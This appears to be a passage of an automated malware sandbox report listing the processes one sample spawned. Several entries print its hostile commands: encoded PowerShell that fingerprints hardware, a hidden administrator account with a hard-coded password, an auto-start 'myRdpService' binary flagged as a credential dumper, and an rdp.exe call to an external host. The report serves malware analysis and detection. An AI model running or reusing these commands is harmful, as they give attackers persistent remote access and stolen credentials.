                                                                                                                                          Antivirus matches:
                                                                                                                                          • Detection: 16%, ReversingLabs
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:23
                                                                                                                                          Start time:05:27:57
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:24
                                                                                                                                          Start time:05:27:57
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:25
                                                                                                                                          Start time:05:27:57
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c sc query myRdpService
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:26
                                                                                                                                          Start time:05:27:57
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:27
                                                                                                                                          Start time:05:27:57
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:28
                                                                                                                                          Start time:05:27:58
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:29
                                                                                                                                          Start time:05:27:58
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:sc query myRdpService
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:30
                                                                                                                                          Start time:05:27:58
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:31
                                                                                                                                          Start time:05:27:58
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:32
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c sc query myRdpService
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:33
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:34
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:sc query myRdpService
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:35
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c sc stop "myRdpService"
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:36
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:37
                                                                                                                                          Start time:05:28:25
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:sc stop "myRdpService"
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:38
                                                                                                                                          Start time:05:28:26
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c sc query myRdpService
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:39
                                                                                                                                          Start time:05:28:26
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:40
                                                                                                                                          Start time:05:28:26
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:sc query myRdpService
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:41
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:42
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:43
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:sc delete "myRdpService"
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:44
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\sc.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
                                                                                                                                          Imagebase:0x7ff68ae40000
                                                                                                                                          File size:72'192 bytes
                                                                                                                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:45
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\net.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:net start "myRdpService"
                                                                                                                                          Imagebase:0x7ff7245d0000
                                                                                                                                          File size:59'904 bytes
                                                                                                                                          MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:46
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\net1.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\net1 start "myRdpService"
                                                                                                                                          Imagebase:0x7ff760de0000
                                                                                                                                          File size:183'808 bytes
                                                                                                                                          MD5 hash:BA0BCCC6029FBBE6D8B41197F252742F
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:47
                                                                                                                                          Start time:05:28:34
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\Temp\myRdpService.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\Temp\myRdpService.exe cakoi10
                                                                                                                                          Imagebase:0x7ff64a920000
                                                                                                                                          File size:9'427'456 bytes
                                                                                                                                          MD5 hash:F651568CD1F1A7ABAEDD4389DA3A2F14
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Yara matches:
                                                                                                                                          • Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002F.00000002.2315535899.00007FF64AE26000.00000004.00000001.01000000.0000000C.sdmp, Author: @mimeframe
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:48
                                                                                                                                          Start time:05:28:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
                                                                                                                                          Imagebase:0x7ff7a9c00000
                                                                                                                                          File size:468'120 bytes
                                                                                                                                          MD5 hash:B3676839B2EE96983F9ED735CD044159
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:49
                                                                                                                                          Start time:05:28:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:50
                                                                                                                                          Start time:05:28:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:51
                                                                                                                                          Start time:05:28:46
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:52
                                                                                                                                          Start time:05:29:09
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\regedit.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
                                                                                                                                          Imagebase:0x7ff74fff0000
                                                                                                                                          File size:370'176 bytes
                                                                                                                                          MD5 hash:999A30979F6195BF562068639FFC4426
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:53
                                                                                                                                          Start time:05:29:09
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";"
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:54
                                                                                                                                          Start time:05:29:09
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:55
                                                                                                                                          Start time:05:29:10
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\systeminfo.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\system32\systeminfo.exe"
                                                                                                                                          Imagebase:0x7ff677f10000
                                                                                                                                          File size:110'080 bytes
                                                                                                                                          MD5 hash:EE309A9C61511E907D87B10EF226FDCD
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:56
                                                                                                                                          Start time:05:29:13
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init"""
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:57
                                                                                                                                          Start time:05:29:13
